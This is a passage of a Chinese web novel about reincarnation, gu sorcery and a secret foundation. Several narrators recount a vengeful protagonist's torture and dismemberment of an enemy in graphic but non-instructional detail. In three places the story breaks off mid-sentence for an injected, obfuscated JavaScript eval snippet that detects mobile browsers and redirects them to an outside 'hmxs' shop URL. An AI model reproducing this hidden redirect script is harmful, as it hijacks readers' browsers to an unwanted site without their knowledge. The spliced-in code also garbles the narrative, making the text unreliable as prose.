“沈鉴!”他推开书房的门,“查一下编号开头047的孩子,所有资料!” 沈鉴正在操作电脑,闻言立刻调出档案:“047号,原名李澈,2008年失踪,当时九岁。父亲是软件工程师,母亲是数学家。失踪前……在参加一个儿童智力开发项目。” “什么项目?” “叫‘星火计划’,基金会外围的慈善项目,专门选拔高智商儿童提供特殊教育。”沈鉴快速浏览资料,“李澈的智商测试结果是147” 君荼白感到一阵寒意。 147个孩子。 147的智商。 3-17-24-71的密码。 这一切不可能是巧合。 “那个密码……”他深吸一口气,“可能是个坐标,或者……某个系统的访问码。” 沈鉴已经开始尝试破解。他把数字代入不同的编码系统:经纬度、时间码、ISBN、IP地址……都不对。 直到他尝试了一种古老的、几乎被遗忘的编码方式,摩斯电码的变体,用数字代表点和划。 3=··· 17=—· —— 24=·· — ·· 71=—— · — 转换后的电码讯息是:··· —· —— ··— ·· — — · —· 再转换成字母:SOS。 君荼白愣住了。 是求救信号。 一个在镜渊里被囚禁了147个轮回的孩子,用最后残存的意识,记住了这个信号,并在获救后,通过梦境传递出来。 “他在求救。”君荼白轻声说,“但不是为他自己。” “那为谁?” 君荼白看向窗外,看向远方的天空。 “为其他还被困住的人。” 24. 沈鉴:关于“七天”的故事 第一世。君荼白死后第七天。 秦牧师傅说,世界会在七天后重置。 那时候我还不完全明白“重置”意味着什么。直到君荼白的尸体在停尸房冷透的第三天,陆予瞻来找我,眼睛里的光全灭了。他说:“沈鉴,帮我查几个人。” 他递过来的名单上,有33个名字。都是那晚仓库事件的直接参与者——用烙铁的那个人,拿钳子拔掉君荼白牙齿的那个人,还有下令开枪的小头目,还有一些做了更过分的事的禽兽们。 “你要做什么?”我问。 陆予瞻没回答。他只是看着我,眼神空得吓人。 周屹站在他身后,脸上没有任何表情。但他的手在抖。我注意到,这个从认识以来就像标枪一样□□的男人,手在轻微地颤抖。 我还是查了。用我那点刚入门的黑客技术,加上师傅的人脉网,三天时间,33个人的住址、行踪、家庭关系,全部整理成册。 陆予瞻接过资料时,说了声“谢谢”,声音很轻。 然后他和周屹消失了。 第一天,名单上死了三个人。新闻说是“□□内讧”,但现场的照片流出来。师傅不让我看,可我偷看到了。那不是内讧该有的样子。 第二天,又死了四个。这次连新闻都没有,尸体在凌晨被发现,摆在废弃码头的集装箱里。有路过的流浪汉说,听见了“不像是人能发出的声音”。 第三天,师傅按住我的肩膀:“小鉴,别查了。” “可是……” “没有可是。”师傅的眼神很复杂,里面有我读不懂的东西,“那些地狱,不要看。” 但我还是看了。第四天,陆予瞻和周屹回来了一趟,换衣服。陆予瞻的白衬衫袖口沾了暗红色的污渍,他站在水池边用力搓洗,搓得指节发白。周屹靠在门框上,眼睛看着窗外,整个人像是被抽空了。 我问:“还差几个?” 陆予瞻没回头:“六个。” 他的声音太平静了,平静得不像在说杀人,像在说今天天气不错。 第五天,名单上只剩下一个名字:陈子轩。 那晚陆予瞻和周屹很晚才回来。师傅让我去睡觉,但我没睡着。我听见他们在楼下的谈话。准确说,是陆予瞻在说,周屹在听。 “在东郊的废弃屠宰场。”陆予瞻的声音隔着地板传上来,很模糊,“明天去。” 周屹说了句什么,我没听清。 陆予瞻笑了。那个笑声我几百辈子都忘不掉。冰冷,空洞,像什么东西碎掉之后又被强行粘合起来的残响。 他说:“死?太便宜他了。” 第六天,他们天没亮就走了。 师傅一整天都心神不宁,在院子里来回踱步。傍晚时,他忽然对我说:“小鉴,如果……如果你觉得太难受,可以不看了。记录者也是人,人可以害怕。” 我没听懂。 直到深夜,陆予瞻一个人回来。 他浑身湿透,像是刚从水里捞出来。头发贴在额前,水珠顺着下巴往下滴。但他身上很干净,换了一身新衣服,连指甲缝里都没有污垢。 太干净了。干净得不正常。 “周屹呢?”师傅问。 “在外面。”陆予瞻说,“吐了一会儿。” 他走到桌边,给自己倒了杯水。手很稳,水杯没有一丝颤抖。喝完后,他看向我:“沈鉴,能帮我个忙吗?” “什、什么?” “查一下大型工业粉碎机的处理厂。要偏远的,废弃的,监控坏掉的。” 我愣住了。 师傅猛地站起来:“陆予瞻!够了!” 陆予瞻转过头,看着师傅,眼神很平静:“秦师傅,还不够。他还活着。” “什么?” “蛊术。”陆予瞻说,“你为了救君荼白,也给他的执念……仇人陈子轩下了永生蛊,和君荼白绑定了。荼白轮回多久,他就轮回多久。所以普通的死法没用,他会重生,会记得,会继续害人。” 他顿了顿,声音低下来:“所以我得想个办法,让他……没办法完整的重生。” 我浑身发冷。 那天晚上,周屹很晚才进来。脸色白得像纸,脚步虚浮。他看见我,想说什么,但突然捂住嘴,冲进卫生间。 我听见呕吐的声音,持续了很久。 等他出来时,眼睛是红的。他走到我面前,张了张嘴,最终只说了一句:“别看。沈鉴,答应我,永远别去看。” 我问:“你们……做了什么?” 周屹闭上眼睛,喉结滚动了好几下,才艰难地说:“陆队他……把陈子轩,拆开了。” “拆开?” “147块。”周屹的声音在抖,“皮是皮,骨是骨,肉是肉……分开的。内脏也……分开的。但他还活着,蛊术让他保持清醒,能看见,能感觉……” 他说不下去了,转身又冲进卫生间。 我站在原地,手脚冰凉。 147块。 君荼白死时,24岁。如果活到正常寿命,应该是71岁。71减24,等于47。再乘以轮回的3世——不,不对,我在想什么,我在算什么? 师傅走过来,抱住我。他的身上有草药的味道,很苦,很涩。 “小鉴,”师傅说,“明天,世界就重置了。今晚的事,你可以选择记住,也可以选择忘记。但我建议你……至少记住一部分。因为记住,才能保护自己。” 我没听懂。 直到第七天,也就是世界重置前的最后一天。 陆予瞻很早就出门了。周屹也跟着去了。师傅没拦,只是坐在院子里,泡了一壶很浓的茶。 我坐在师傅对面,问他:“师傅,陆予瞻他……还是陆予瞻吗?” 师傅沉默了很久。 “是,也不是。”他说,“一个人心里最重要的东西被挖走了,剩下的部分,可能会变成任何样子。陆予瞻他……把对君荼白所有的感情,都转化成了别的东西。恨,愤怒,还有……一种你最好不要了解的东西。” 傍晚,陆予瞻回来了。 他换了一身干净的衣服,甚至刮了胡子,头发梳得整齐。他走到我面前,递给我一个笔记本。 “这是什么?”我问。 “这七天的记录。”他说,“你以后会成为一个很好的记录者,沈鉴。这些资料,可能用得上。” 我接过笔记本,很轻,但觉得有千斤重。 “陈子轩他……” “处理好了。”陆予瞻打断我,语气平静得像在说垃圾已经分类投放,“他不会再有轮回了。至少,不会以完整的形态轮回了。” 他顿了顿,看向师傅:“师傅,时间快到了吧?” 师傅点头:“子时。还有四个小时。” “那我去准备一下。”陆予瞻说,“下一世,我想早点找到他。17岁……应该还在读高中吧?这次,我要看着他平安长大。” 他转身走向房间,脚步很稳。 但我看见,他的右手,那只一直戴着手套的右手,手套边缘露出一截皮肤。上面有暗红色的纹路,像某种符咒,又像被什么东西灼烧后留下的疤。 周屹走过来,低声对我说:“沈鉴。” “嗯?” “下一世……如果我们都还记得,如果陆队他… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17052020|194818||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …又变成现在这样。”周屹的眼神很复杂,有恐惧,有担忧,还有一丝绝望,“记得提醒我,离他远一点。也提醒你自己。” 我点了点头,但心里知道:如果陆予瞻真的想做什么,我们躲不掉。 子时,世界开始重置。 我坐在师傅身边,看着窗外的夜色一点点褪去,像是被什么无形的橡皮擦擦掉。师傅的手按在我肩膀上,很用力。 “小鉴,记住。”他说,“记录者的职责是记录,不是评判。但有时候……不记录,也是一种选择。” 我抱住师傅,哭了。 我说:“师傅,我不记了。我不做传承人了。太可怕了……那个人太可怕了……” 师傅轻轻拍着我的背,没说话。 但我知道,他同意了。 因为当重置的光芒吞没一切时,师傅在我耳边说了一句话: “好。那就不做传承人了。师傅想办法换个人,以后,你就当个只做记录的普通科研人员吧。” 第二世及之后 重置后的每一世,陆予瞻都表现得温和、克制、彬彬有礼。 他在咖啡馆等君荼白,耐心地、安静地,像一尊不会发怒的雕像。他对每个人微笑,说话轻声细语,做事周到妥帖。 所有人都说,陆予瞻是个好人。 只有我和周屹知道不是。 我们知道他手上那个月芽疤痕的秘密。那个在第一世留下的、再也洗不掉的痕迹。我们知道他每个深夜独处时,眼神会变得多空洞。我们知道,当他看着君荼白时,眼底深处翻涌的是什么。 不是爱。 至少不全是爱。 是某种更复杂、更黑暗、更可怕的东西。像是把一整座地狱熔炼后,灌注进一个名为“温柔”的模具里,浇铸出来的仿制品。 仿得很像,但终究是仿的。 周屹怕他。我看得出来。 每次陆予瞻温和地笑,周屹的脊背都会绷紧一线。每次陆予瞻用那双茶色的眼睛凝视某个人,周屹会下意识地挡在君荼白身前。哪怕那时候君荼白还不认识他们。 我也怕。 我怕他有一天会失控。怕他表面的温和像蛋壳一样碎裂,露出里面漆黑黏稠的内核。怕他再次变成第一世最后那七天里的样子。那个把陈子轩拆成147块还能平静喝茶的魔鬼。 但陆予瞻没有失控。 他用强大的意志力,把那个魔鬼锁在了内心深处。他戴上温和的面具,戴上克制的枷锁,戴上彬彬有礼的镣铐。他把自己伪装成一个正常人,骗过了所有人。 包括君荼白。 除了我和周屹。 我们记得。记得第一世的那七天,记得每个轮回君荼白死亡后的那几天。记得那些暗红色的夜晚,记得卫生间的呕吐声,记得粉碎机遥远的轰鸣,知道陆予瞻越来越不像个人。 所以我们默契地守着这个秘密。 周屹用沉默守护君荼白,我用记录观察陆予瞻。我们在恐惧中达成共识:只要陆予瞻还戴着面具,只要他还愿意伪装,我们就陪他演这出戏。 为了君荼白。 也为了我们自己。 因为我们都清楚。如果面具碎了,最先遭殃的,可能是我们这些“知情者”。 这就是轮回的真相。 不是救赎,是囚笼。 我们都被困在里面。 陆予瞻困在对君荼白扭曲的执念里,周屹困在对弟弟的愧疚和对陆予瞻的恐惧里,我困在记录者的职责和普通人的懦弱里。 而君荼白,困在一百四十七次死亡的记忆里。 没有人自由。 从来没有。 25. 我是陈子轩,我有话要说。 我是陈子轩。 关于第一世我有话要说。 他们说,永生是恩赐。 秦牧——我那时候还叫他师傅——把那只蛊虫种进我心脏时,眼睛里有慈悲的光。他说:“子轩,从今天起,你的生命会和另一个人的轮回绑定。他活多久,你就活多久。他轮回多少次,你就轮回多少次。你将来要赎罪。” 我问:“那个人是谁?我为什么要赎罪” 师傅沉默了很久,说:“一个很重要的人。你的使命,就是确保他每一世都能……完成他该做的事。” 这个秦师傅是个神奇的人。他能预知很多事情。我都不知道他活了多久。有多少个徒弟。 那时候我不懂。 我以为“绑定”是某种浪漫的连接,像双生花,像连理枝。我以为永生是礼物,是神明选中我的证明。 直到我在仓库里,第一次看见君荼白。 那个年轻人有着干净得过分的眼睛,即便被铁链锁着,即便血从嘴角流下来,他的眼神还是亮的,像野火烧不尽的原上草。 我奉命“审问”他。其实没什么可问的,我们都是基金会这盘棋上的棋子。但我必须做点什么,因为监控在拍,因为我的父亲被林boss威胁,他们在监视器里看着。 烙铁贴上他肩膀时,他闷哼了一声,没惨叫。牙齿被钳子一颗颗拔掉时,他吐着血沫说:“孩子们……安全了吗?” 都这种时候了,还在想别人。 我突然觉得恶心。不是对他,是对我自己,对这个仓库,对这一切。 所以我做了个决定。 我凑到他耳边,用只有他能听见的声音说:“通风管道,左边的货箱挪开,能爬出去。让你救的那个女孩……快走。” 他猛地抬头看我。 我移开视线,继续演:“说不说?不说下一处就是眼睛。” 女孩跑了。君荼白笑了,满嘴是血,但笑得像个赢了游戏的孩子。 然后我又想了做了一些更有趣更过分的事。 但是我慌了。进来的人太多了,加上我自己一共33个人。我哪里有安排这么多人? 不是我们的人想干的。是基金会安排的“极致痛苦的虐待”。君荼白倒下去时,眼睛还睁着,看着通风管道的方向。 他被从里到外折磨的只剩一口气了。 我以为任务结束了。 但三天后,陆予瞻找到了我。 第二世到第一百四十六世 有些事,经历一次是悲剧,经历十次是折磨,经历一百次……就成了诅咒。 我的诅咒是这样的: 每一世,君荼白死的那一刻,我的“永生蛊”就会启动。我能感觉到心脏突然剧烈收缩,像被一只冰冷的手攥住。然后,前一世的所有记忆开始灌进来:君荼白的死,陆予瞻的脸,还有……我被杀死的事。 每一世,陆予瞻都会找到我。 用不同的方式,在不同的时间,但他一定会找到我。然后,他会用比前一世更“精致”的手法,让我死。 第一世,因为君荼白的刻意屏蔽我的大脑也选择性屏蔽了相关记忆,所以不太记得了。第二世,他用了刀。第三世,他开始实验——怎么让人在最大痛苦中保持清醒。 到第十世,他已经成了专家。 他能精确计算每刀割多深不会致命,每个器官摘除的顺序怎么排能延长意识,怎么把一个人的身体拆成147块,还能让蛊术维持着最后一点生命体征。 147块。 因为君荼白死时24岁,如果能活到正常寿命,应该是71岁。71减24,等于47。47乘以轮回的3世。这个算法是陆予瞻告诉我的,在第二十世,陆予瞻一边拆我的肋骨一边说的。我不知道为什么是三世。沈鉴后来说是因为陆予瞻在第三世受了点刺激所以格外怀念那一世。 陆予瞻说:“子轩,你得记住这个数字。147。每一块,都是你欠他的。” 但问题是,我记不住。 因为每当我被陆予瞻“处理”掉,下一世轮回开始时,蛊术会启动保护机制。它会抹去我关于君荼白的所有记忆,抹去关于陆予瞻的所有记忆,抹去那些死亡的细节。 我只记得一些碎片: 记得仓库的霉味,记得烙铁烧焦皮肉的气味,还有很多人的气息。记得君荼白最后那个笑容。 记得陆予瞻的眼睛。茶色的,看起来很温和,但深处有什么东西在燃烧。 记得疼痛。很多种疼痛,叠加在一起,在骨髓里生了根。 但这些碎片没有上下文。它们像被撕碎的拼图,散落在意识深处。所以每一世轮回开始时,我都是“空白”的。 我重新加入基金会,重新接任务,重新……遇见君荼白。 然后某个瞬间,某个场景会触发记忆碎片。可能是君荼白的一个眼神,可能是仓库同样的霉味,可能是陆予瞻某个似曾相识的表情。 碎片拼凑起来。 我想起来了。 然后恐惧会淹没我。陆予瞻要来了。 有时候我会逃。躲到深山老林,躲到海外小岛,躲到任何我觉得安全的地方。 但没用。 陆予瞻总能找到我。就像猎犬总能找到血迹,他总能找到我。 第一百世,我躲到了南美的雨林里,跟一个土著部落住了三年。我以为我安全了。 然后一个傍晚,我打完猎回来,看见陆予瞻坐在我的茅草屋前。 他穿着白衬衫,袖子卷到小臂,正在剥一个橘子。动作优雅得像在高级餐厅。 看见我,他笑了笑:“回来了?等你半天了。” 那一次,他用了四天。 从第一百世开始,我不逃了。 我开始研究蛊术,研究怎么解除这个永生的诅咒。但所有的典籍都说:所有同命的蛊术,一荣俱荣,一损俱损。要解除,除非两个绑定者同时死去,且不再轮回。 但君荼白在轮回。 陆予瞻在守护他轮回。 所以我也得轮回。 死循环。 第一百四十七世 这一世,记忆恢复得特别晚。 我见到君荼白时,他已经是个文献修复师了。坐在古籍堆里,戴着白手套,用毛笔蘸着浆糊修补书页。阳光从窗外照进来,给他镀了层毛茸茸的金边。 很安宁的画面。 但我心脏猛地一缩。 不是因为想起什么,恰恰相反,是因为什么都想不起来,但本能地在恐惧。 我通过那个月芽疤痕控制他。我给他制造那些“意外”,想逼他现出什么端倪。 但君荼白只是安静地承受着。偶尔凌晨三点十七分醒来,安静地疼,安静地吐,安静地等疼痛过去。 有时候他会看着那个疤痕,眼神很困惑,像在问:为什么是我? 我也想问。 为什么是我? 为什么我要被绑定在这个无尽的轮回里?为什么每次都要被同一个人用各种方式杀死?为什么连忘记都不能彻底? 然后,陆予瞻出现了。 在咖啡馆,坐在窗边,等君荼白。他看见窗外的我时,笑了。 那个笑容让我血液倒流。 记忆的闸门轰然打开。 所有的碎片涌进来:仓库,烙铁,枪声,陆予瞻的眼睛,陆予瞻的手,陆予瞻的声音,陆予瞻的刀,陆予瞻… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17052021|194818||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' … 我想起来了。 全部。 我转身就跑。 但我知道跑不掉。从来都跑不掉。 最后我做了个很大胆的决定。我不逃了。 被君荼白抓住的那天,其实是我故意的。 我知道他在查我,知道他在接近。所以我留下线索,留下破绽,像个笨拙的猎人,反而把自己伪装成猎物。 他给我下蛊时,我甚至有点想笑。 “忘川”。 他想让我“解脱”。 多天真。 他不知道,这蛊对我没用。我和他的同命蛊在,任何其他害我死亡的蛊术都会被抵消。除非他死,否则我死不了。 但那一刻,我突然想:也许这是个机会。第147世。这是最后一个轮回了。但是他结束一切执念的死亡就是魂飞魄散。永不入轮回。永远不能转世。 我想利用这个机会,结束这一切。 陆予瞻太可怕了。 一百四十六世,每次他杀我时,眼神都是空的。不是愤怒,不是仇恨,是某种更恐怖的东西:绝对的、冰冷的、程序化的残忍。 像在完成一个仪式。 而仪式的核心,是君荼白。 只要君荼白还在轮回,陆予瞻就会一直追杀我。只要陆予瞻还在追杀我,我就得一直死,一直忘,一直重新开始。 我累了。 真的累了。 所以,我做了个决定。 我要刺激君荼白,让他走近我,让他给我下了那个蛊。至少,我不会有自己的意识了。做个机器人,也挺好。 这样,陆予瞻也许会停手。 这样,君荼白也许会解脱。 这样,我一定能永远地休息。 到了最后一面。 陆予瞻、周屹找到我的那个废弃工厂,其实是我选的。 我故意留下线索,让他们能找到我。我知道他们会来,知道陆予瞻这次会用什么样的手法。 但我没想到的是,君荼白通过某种禁术脱离了□□,他的半个灵魂也跟着来了。 更没想到的是,陆予瞻他们看不见他。只有我能看见那个漂浮的灵魂。 我得承认,那一刻我后悔了。 不是因为疼。疼我已经习惯了。而是因为君荼白的眼神。 他的灵魂在哭。 不是号啕大哭,是安静的,眼泪一直流,但没声音。他看着陆予瞻对我做的事,看着那些血,那些……碎片。 他看着陆予瞻。 那个眼神,我永远不会忘。 不是恐惧,不是愤怒,是心碎。 原来他知道。 原来他一直都知道陆予瞻是什么样的人,只是一直在装不知道。 那一瞬间,我突然明白了。 这场永劫里,没有赢家。 君荼白困在轮回和创伤里,陆予瞻困在执念和疯狂里,我困在死亡和遗忘里。 我们都是囚徒。 所以当陆予瞻把我扔进粉碎机时,我甚至有点感激。 终于。 终于可以休息了。 这次永远不会醒来,永远不会重新开始。 一切都结束了。 粉碎机的轰鸣吞没一切时,我最后想的是: 君荼白,对不起。 还有…… 谢谢你,给我这个结局。 我希望,这一次,你能成功。 不是成功杀了我。那没有意义。而是成功结束这一切。 结束轮回,结束疯狂,结束这无尽的永劫。 然后,我们都休息吧。 太累了。 真的。 26. 周屹的囚笼:我想一直做个哑巴 我想一直做个哑巴。 那是第一世的第七天。 屠宰场的铁门在我身后关上时,我知道有些东西永远回不去了。 空气里有血腥味,很浓,但不是动物血的味道。人血有特殊的铁锈气,混着恐惧的酸味,闻过一次就忘不掉。陆予瞻站在房间中央,白衬衫袖口卷到手肘,露出的小臂线条流畅。太流畅了,不像刚做完那种事的人该有的样子。 他背对着我,正在洗手。水龙头开得很大,水花溅在水泥池壁上,发出空洞的回响。 “还剩多少?”我问,声音比想象中平静。 “一半。”陆予瞻没回头,继续搓着手,搓得很用力,指关节都泛白了,“你出去吧,剩下的我来。” 我没动。 房间里很安静,除了水声,就只有角落传来的……某种声音。我不想描述那是什么声音,但它在梦里缠了我一千多年。 “出去,周屹。”陆予瞻又说了一遍,这次语气里多了点别的东西。 我转身离开。我不是服从,我知道自己撑不住了。走出厂房的瞬间,傍晚的风吹过来,带着点垃圾场的腐臭味。我靠在墙上,开始吐。胃里什么都没有,吐出来的都是酸水,但停不下来。 吐到浑身发冷时,陆予瞻出来了。 他换了身衣服,干净的深色夹克,头发也重新梳过。如果不是指尖还残留着一点没洗掉的红,他看起来就像刚下班回家的普通职员。 “处理完了?”我问。 “嗯。”他点了支烟,没抽,就夹在指间看着它燃,“粉碎机开了一小时。够细了,蛊虫找不到可依附的完整组织。” 他说这话时语气平淡得像在说“晚饭吃过了”。烟灰积了一截,断裂,掉在地上。我盯着那点灰烬,突然想:如果人的骨灰也是这样的,君荼白火化时,是不是也这样轻飘飘的? “回去吧。”陆予瞻把烟踩灭,“秦师傅和沈鉴在等。” 回去的路上我们都没说话。车窗外路灯一盏盏掠过,在陆予瞻脸上投下明明灭灭的光影。有那么一瞬间,我看见他侧脸线条绷得很紧,紧得像下一秒就要裂开。 但很快,他又恢复了那副平静的表情。 那一夜之后。 世界重置了,但记忆没重置。 第二世,我在君荼白的高中门口第一次“偶遇”他。十七岁,穿着校服,背着书包,耳朵里塞着耳机,低头走路时刘海会遮住眼睛。 他还活着。 这个认知让我眼眶发酸。我站在马路对面看了很久,直到有人拍我肩膀。 “看够了?”陆予瞻的声音在身后响起。 我浑身一僵。 他走到我旁边,也看向对面的少年。看了很久,然后轻声说:“这次要看好他。别让他再……” 他没说完,但我知道后面是什么。 从第二世的那天起,陆予瞻开始扮演一个“温和的前辈”。他在学校附近开了家咖啡馆,每天准时营业。君荼白周末会来打工,陆予瞻就以兼职的身份教他冲咖啡、做甜点,耐心得像个真正的温柔兄长。 只有我知道不是。 因为每次君荼白转身时,陆予瞻的眼神就会变。那种眼神我太熟悉了,第一世最后那七天里,他看名单上那些人的眼神。我觉得那不是恨,也不是愤怒,是某种更冷的东西,是手术刀在无影灯下的反光。 有一次,君荼白不小心打翻了咖啡壶,烫伤了手。陆予瞻第一时间冲过去处理伤口,动作轻柔,语气关切。但包扎时,我看见了他的右手在抖。 但只有我知道那不是担心的颤抖。是兴奋。 就像屠夫按住待宰的牲口,刀刃贴上喉咙前那一瞬间的、克制的兴奋。 包扎完,君荼白去后面休息。陆予瞻站在原地,看着自己那只刚刚触碰过君荼白皮肤的右手,看了很久。然后他抬头,发现我在看他。 我们四目相对。 他没说话,只是很轻地笑了笑。那个笑容让我后背发凉。 后来的轮回里,陆予瞻都在君荼白24岁之前的人生里做着可有可无的路人甲。直到君荼白24岁的那个雨夜。 小屿的灵魂在镜渊里,这是第三世时陆予瞻“不经意”告诉我的。 那天我们刚处理完一批基金会的外围人员。没杀人,只是打断了腿,确保他们不能再作恶。回去的路上,陆予瞻开着车,突然说:“周屹,我查到镜渊的一些资料。” “嗯?” “里面有个灵魂的波动频率,和你很像。”他顿了顿,“应该是血缘关系。是你弟弟吧?” 我没说话,握紧了拳头。 “放心,他现在是安全的。”陆予瞻的语气很轻松,“镜渊是个稳定的容器,只要没人去动它,里面的灵魂能一直保存下去。” 他在等我的反应。 我知道他在等什么。他在等我问“那如果有人要动镜渊呢”,然后他就可以顺理成章地说“所以我们要保护好它”。 他在用我弟弟做筹码。 从那天起,我多了一个必须服从陆予瞻的理由。不是战友情谊,不是共同目标,是赤裸裸的威胁。 不过很庆幸,后来我被下了禁声蛊。我终于不用发声了。 第四十七世,不知道什么原因,我们一直没有找到君荼白,那一世君荼白死得特别惨。 不过,那一次没有陈子轩了,基金会那次的拷问还是持续了三天,等我们找到君荼白时,已经不太能看出人形,但还活着,君荼白被我们紧急送去了医院。陆予瞻又回到仓库把所有人都赶出去,一个人在里面待了一整夜。 第二天他出来时,眼睛是红的。但我知道肯定不是因为哭。陆予瞻不会哭,至少我没见过,肯定是因为没睡,加上某种压抑到极致的情绪。 君荼白在医院活了三个月,那三个月里,基金会相关的十七个据点被血洗。没有活口,没有证据,连尸体都处理得很干净。 沈鉴吓坏了,跑来问我:“周屹,陆队他……我忘了告诉他了,不能太早杀了陈子轩,师傅说他和君荼白绑定了永生蛊,陈子轩必须先在这一世活着我们才能稳定地找到君荼白。” “那就下次提前说。”我在手机里输了这样一段话,“做你该做的事,记录数据,分析情报。别的,不要问,不要看。” 沈鉴看着我,眼神里有恐惧,也有理解。他点了点头,没再说话。 我们都懂。 陆予瞻心里关着一头野兽。平时他用理智的锁链拴着它,用温和的面具盖着它。但每一次君荼白的死亡,都会让锁链松动一点。 我们不敢想象,如果有一天锁链完全断了,会怎样。 第一百三十世,君荼白差点发现了。 他恢复了一部分前世记忆,在梦里看见陆予瞻杀人的画面。不是这一世的陆予瞻,是更早的、还没学会完美伪装的那个陆予瞻。 醒来后他问我:“周屹,陆队他……是不是有时候不太对劲?” 我该怎么回答? 告诉他,你每死一次,陆予 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17052022|194818||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瞻心里那头野兽就长大一点?告诉他,你现在看到的温柔都是假象,底下是快要溢出来的疯狂?告诉他,我和沈鉴每天都在害怕,怕他失控,怕他暴走,怕他最后连你一起毁掉? 我不能。 因为我知道后果。 君荼白的善良是刻在灵魂里的。如果他知道了真相,一定会想去“救”陆予瞻,想去安抚他,想用理解和包容去化解那些黑暗。 但那只会适得其反。 就像往滚烫的油锅里滴水,只会引发更剧烈的爆炸。 所以我撒谎了。我在手机里打字:“你想多了,陆队只是压力大。” 君荼白看着我,看了很久,然后轻声说:“周屹,你也不会对我撒谎的。” 我知道他看出来了。 看出来我在隐瞒,看出来我的恐惧,看出来这平静表面下的暗流汹涌。 但他没再追问。 也许他也怕。 怕知道真相后,不知道该如何面对。 第一百四十七世,镜渊门前。 陆予瞻把古籍“不小心”留在我能看到的地方时,我就知道他的计划了。 他想让我去死。 不是出于恶意。至少不全是,而是出于一种扭曲的“保护”。他觉得我是最合适的祭品:意志足够坚定,魂魄足够强大,而且有必须完成的执念(弟弟)。 更重要的是,他可能也觉得我累了。 我是一个见过他真面目的人。 是一个一定会在未来某天,把真相告诉君荼白的人。 我站在地下室门口,看着被困在那里的君荼白,看着阵图中燃烧的陆予瞻,看着用数据隐瞒一切的沈鉴。突然觉得很累。 一百四十七世,我一直在装。 装不知道陆予瞻的真面目,装不害怕,装自己能控制局面。我保护君荼白,既是因为任务,也是因为……如果君荼白死了,陆予瞻会变成什么样子,我不敢想。 但现在,我装不下去了。 陆予瞻已经不是我能控制的了。他的疯狂像不断上涨的潮水,而我只是岸边的沙堡,迟早会被淹没。 至于君荼白…… 对不起。 我保护不了你了。 不是不愿意,是不能。 因为继续待在你身边,继续看着陆予瞻一天天逼近失控的边缘,变成一个非人类一样的怪物,我自己也会疯。 所以,我选择离开。 去镜渊,去那个关着我弟弟灵魂的地方。陪着他,永远睡在那里。 至少那里是安静的。 至少那里,不用再伪装,不用再恐惧,不用再每天担心身边的那个人会不会突然变成魔鬼。 阵法的金光吞没我时,我最后看了一眼君荼白。 我知道他的灵魂哭得很厉害,眼睛里全是绝望。 对不起。 但我真的,撑不住了。 一百四十七世的伪装,一百四十七世的恐惧,一百四十六次看着你在眼前死去却无能为力的自责…… 太累了。 让我休息吧。 让我去一个,没有你们,没有基金会,没有死亡和轮回的世界。 哪怕那个世界,是永恒的囚笼。 但只要能和弟弟在一起,只要能在沉睡中忘记这一切…… 就够了。 金光彻底吞没视野的瞬间,我听见自己轻声说: “小屿,哥来了。” “这次,我们都不走了。” 27. 方舟之门 当晚,陆予瞻敲开了君荼白的房门。 他换了一身便于行动的衣服:黑色战术裤,深灰色衬衫,右手打着石膏吊在胸前,但左手提着一个沉重的装备箱。 “准备好了吗?”他问。 君荼白看了一眼那个箱子:“里面是什么?” “行动需要的装备。”陆予瞻把箱子放在地上,打开:刻满符文的铜镜、朱砂笔、黄符纸、还有几个装着不明液体的小瓶子。 “这是……” “基金会用科学结合巫蛊,我们也要用同样的方式对付他们。”陆予瞻拿起一个瓶子,里面是暗红色的粘稠液体,“黑狗血混合雷击木的灰烬,能干扰频率发生器的能量场。这些符文镜可以反射jing神攻击,黄符纸……” 他顿了顿。 “是用来封印的。” “封印什么?” 陆予瞻没有直接回答。他合上箱子,看向君荼白:“荼白,北美之行会很危险。‘方舟’的安保级别是亚洲据点的五倍,而且林墨生很可能已经知道我们来了。现在退出还来得及。” 君荼白摇头:“那些孩子等不了。而且……” 他看向陆予瞻打着石膏的右手。 “你的手……” “不影响。”陆予瞻活动了一下左手手指,“这些年,我两只手都能用。只是平时习惯用左手,右手……留作底牌。” 君荼白突然想起立交桥下的战斗,陆予瞻用手持血刃切开敌人喉咙的画面。那一看就不是临时学会的招式,那是经过千锤百炼的杀技。 “你到底是什么时候学会这些的?”他问。 陆予瞻沉默了很久。 “从你第一世死的那天开始。”他最终说,“我看着你倒在血泊里,看着那些人笑着离开。那时候我就知道,温柔救不了人,规矩杀不了鬼。要对付他们,得变成比他们更可怕的东西。” 他的声音很平静,但君荼白听出了里面的重量。 一百四十七世。 